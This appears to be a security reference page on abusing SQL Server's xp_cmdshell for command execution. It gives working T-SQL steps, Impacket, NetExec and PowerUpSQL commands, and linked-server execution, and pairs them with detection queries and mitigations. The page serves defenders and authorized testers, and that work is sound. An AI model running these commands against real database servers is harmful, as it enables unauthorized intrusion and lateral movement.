How it works
xp_cmdshell is an extended stored procedure that ships with SQL Server. Microsoft describes it in one line: it spawns a Windows command shell and passes in a string for execution, and the output comes back as rows of text. It is the documented bridge from a SQL session to the operating system of the database server.
Three facts from Microsoft's documentation define the attack:
- It is disabled by default, and a sysadmin can enable it. The switch is the
xp_cmdshellserver configuration option, set withsp_configureand applied withRECONFIGURE. - For a sysadmin, the process runs as the SQL Server service account. When first enabled, the procedure requires the
CONTROL SERVERpermission, and the Windows process it creates has the security context of the service account. Microsoft notes that this account often has more permissions than the work needs. - For everyone else, it runs as a proxy account, if one exists. A caller who is not sysadmin needs
EXECUTEpermission onxp_cmdshell, and the command then runs as the Windows account stored in the credential##xp_cmdshell_proxy_account##. Without that credential the call fails.
So the SQL login that types the command and the Windows identity that runs it are different things. A sysadmin gets the engine's service account. A granted application login gets the proxy account, whose file and network permissions may exceed what its job needs.
How an attacker reaches the required context is covered on other pages: a sysadmin login obtained with stolen or weak credentials, impersonation of a sysadmin login, or a linked server that maps to one. SQL injection in an application whose login is sysadmin reaches the same place without any SQL client.
xp_cmdshell is not the only route from sysadmin to a process. SQL Server Agent jobs with operating system steps do the same thing, without output. It is the most direct route, the one every tool automates, and the one defenders should expect.
ATT&CK mapping
The command execution is Windows Command Shell (T1059.003), and ATT&CK names xp_cmdshell under SQL Stored Procedures (T1505.001). The path to sysadmin is Valid Accounts (T1078). Service Execution (T1569.002) applies only when the attacker goes on to run code through a Windows service, for example by creating one from the shell. Ordinary xp_cmdshell use does not install a service.
Prerequisites
- A session with
sysadminorCONTROL SERVERon the instance. Or a login withEXECUTEonxp_cmdshellon an instance where the option is already enabled and a proxy credential is configured. - To change the option: the
ALTER SETTINGSpermission, which thesysadminandserveradminroles hold. - For further movement: a service or proxy account with rights beyond the database host.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Check the current state
SELECT SYSTEM_USER AS login, IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
-- value is the configured setting, value_in_use is what the engine runs with
SELECT name, value, value_in_use
FROM sys.configurations
WHERE name = 'xp_cmdshell';
2. Enable the option
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
3. Run commands
-- Which Windows account are we?
EXECUTE xp_cmdshell 'whoami.exe';
-- No result rows returned to the client
EXECUTE xp_cmdshell 'dir C:\Backups', NO_OUTPUT;
The procedure runs synchronously: control returns when the command finishes.
The Impacket client wraps all three steps:
mssqlclient.py -windows-auth corp.example.com/alice@SRV01.corp.example.com
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
SQL> disable_xp_cmdshell
Its sp_start_job command runs a command through a SQL Server Agent job instead, without output.
NetExec's -x option runs a command through xp_cmdshell on one or many instances. --local-auth selects a SQL login:
nxc mssql 192.0.2.40 -u sa -p '<password>' --local-auth -x whoami
nxc mssql 192.0.2.40 -u alice -p '<password>' -x whoami
PowerUpSQL runs a command on every instance where the current account has the rights:
$Targets = Get-SQLInstanceDomain -Verbose |
Get-SQLConnectionTestThreaded -Verbose -Threads 10
$Targets | Invoke-SQLOSCmd -Verbose -Command "whoami" -Threads 10
4. Through a linked server
If a link maps to a sysadmin on the remote instance and RPC Out is enabled, the same statements run there:
EXECUTE ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [SRV02];
EXECUTE ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [SRV02];
EXECUTE ('xp_cmdshell ''whoami.exe''') AT [SRV02];
5. Put the setting back
Operators who want to leave the instance as they found it disable the option again:
EXECUTE sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
EXECUTE sp_configure 'show advanced options', 0;
RECONFIGURE;
Impact
The attacker has interactive command execution on the database server. What that is worth depends on the service account:
- LocalSystem or a local administrator: full control of the host at once, including the credentials of everyone signed in to it.
- A domain account: everything that account can reach in the domain. SQL Server service accounts are frequently over-permissioned: local administrator on other database servers, rights on file shares and backup locations, sometimes membership in privileged groups.
- A virtual or managed service account: the rights of the computer account on the network, and a local foothold. Service accounts hold impersonation privileges on the host, which is the usual starting point for a local escalation to SYSTEM (see token privilege abuse).
From the host the attacker also reaches the database files and backups directly, bypassing SQL permissions and SQL auditing.
OPSEC and artifacts
- The child process is the giveaway.
xp_cmdshellstartscmd.exeas a child ofsqlservr.exe, and the command runs under it. Process creation auditing (event 4688) or Sysmon event 1 records the parent, the child, the account and, when command line logging is on, the full command. Few signals in Windows are this clean, which is why operators who expect monitoring avoidxp_cmdshelland look for quieter routes. - The configuration change is recorded.
sp_configurewrites the change to the SQL Server error log, with the option name and the old and new value, and the instance's error log is mirrored into the Windows Application log. Disabling the option afterwards writes a second entry; it does not remove the first.sys.configurationsshows only the current state, so a disabled value today does not settle a past alert. - Using what is already enabled. Where the option is already on, no configuration change is needed and only the process events remain.
- Proxy context. A process running as the proxy account instead of the service account shows that a non-sysadmin login made the call.
- SQL Server Audit. A database audit specification in
masterwith theEXECUTEaction onxp_cmdshellrecords each call with the login. A sysadmin can stop the audit, and that change is itself an audited event. - Multiple instances. Several instances on one host all run
sqlservr.exe. Tie a child process to an instance through the parent process id and the service account, not the image name. - Follow-on activity. Tools dropped to disk, new services (event 7045 in the System log, event 4697 in the Security log) and outbound connections from the database server are the traces of what the shell was used for. Ordinary command execution installs no service.
Detection
- Child processes of the SQL Server engine. Any
cmd.exe,powershell.exeor script host started bysqlservr.exedeserves a look. Legitimate uses exist (maintenance jobs, backup scripts, some vendor applications) and are few and repetitive, so an allow list per server works well.
// Processes started by the SQL Server engine
WindowsEvent
| where Channel == "Security" and EventID == 4688
| extend Parent = tostring(EventData.ParentProcessName),
Child = tostring(EventData.NewProcessName),
CommandLine = tostring(EventData.CommandLine),
Account = tostring(EventData.SubjectUserName)
| where Parent endswith @"\sqlservr.exe"
| project TimeGenerated, Computer, Account, Parent, Child, CommandLine,
NewPID = tostring(EventData.NewProcessId)
Older versions of event 4688 do not carry the parent process name; use the process ids and lifetimes there. The command line is present only when the policy "Include command line in process creation events" is enabled.
- The option being switched on. An error log or Application log entry saying that configuration option
xp_cmdshellchanged from 0 to 1.SERVER_OPERATION_GROUPin a server audit specification covers altering settings. xp_cmdshellexecutions in SQL Server Audit, where the object-level audit described above is in place.- Service installation on the database host shortly after such a process:
WindowsEvent
| where Channel == "System" and Provider == "Service Control Manager" and EventID == 7045
| project TimeGenerated, Computer, Service = tostring(EventData.ServiceName),
Image = tostring(EventData.ImagePath), Account = tostring(EventData.AccountName)
Check the provider string and the field names against a sample event from your connector. A matching installation time is a lead until other evidence ties the service to the SQL activity.
- Database servers making unusual network connections or logons (event 4624 on other hosts with the SQL Server service account from the database server's address).
Mitigation
- Keep
xp_cmdshelldisabled and treat any instance where it is enabled as an exception with a named owner. Monitor the option on every instance. Remember that the setting does not restrain a sysadmin. - Keep the number of sysadmins small. The real control is who can become sysadmin: review role members,
CONTROL SERVERholders, impersonation grants and linked server mappings. - Run the engine under a least-privileged account. A group managed service account or a virtual account with no administrator rights, on this host or any other, and no rights on other servers. Never LocalSystem, never a domain administrator. See how to secure Active Directory service accounts.
- If non-administrators must use it, use the proxy account as Microsoft describes: a dedicated account with the least privileges the task needs, and
EXECUTEgranted to named users only. Review the proxy's file and network rights against the job. - Do not let applications connect as sysadmin. Then a SQL injection flaw is not a shell.
- Restrict outbound traffic from database servers to the destinations their workloads need.
- Log it. Enable process creation auditing with command lines on database servers (see the audit policy guide), collect the System log, and send SQL Server Audit records to a collector that database administrators cannot change.
Log events to collect
FAQ
Is xp_cmdshell enabled by default?
No. Microsoft ships SQL Server with xp_cmdshell disabled. That stops nobody who is sysadmin: enabling it takes two sp_configure calls, and the sysadmin role can make that change. The setting is a tripwire worth monitoring, not a barrier.
Which Windows account do xp_cmdshell commands run as?
For a sysadmin caller, the SQL Server service account. For a caller who is not sysadmin, the Windows account stored in the xp_cmdshell proxy credential, and only if that credential exists and the caller was granted EXECUTE on xp_cmdshell. The SQL login name says nothing about the process identity.
How do you detect xp_cmdshell use?
Watch process creation on database servers for child processes of sqlservr.exe, above all cmd.exe. That is event 4688 with the parent process name, or Sysmon event 1. On the SQL side, alert on the xp_cmdshell configuration option changing from 0 to 1, which is written to the SQL Server error log.
Does xp_cmdshell give SYSTEM or domain rights?
It gives the rights of the service account. If SQL Server runs as LocalSystem or as a domain account with administrator rights, the attacker has those immediately. With a least-privileged service account, the attacker has a foothold on the host and looks for a local privilege escalation next.
References
- xp_cmdshell (Transact-SQL) (Microsoft Learn)
- xp_cmdshell (server configuration option) (Microsoft Learn)
- Command and Scripting Interpreter: Windows Command Shell, T1059.003 (MITRE ATT&CK)
- Server Software Component: SQL Stored Procedures, T1505.001 (MITRE ATT&CK)
- System Services: Service Execution, T1569.002 (MITRE ATT&CK)
- 4688(S): A new process has been created (Microsoft Learn)
- SQL Server Audit action groups and actions (Microsoft Learn)
- NetExec wiki: Execute via xp_cmdshell
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.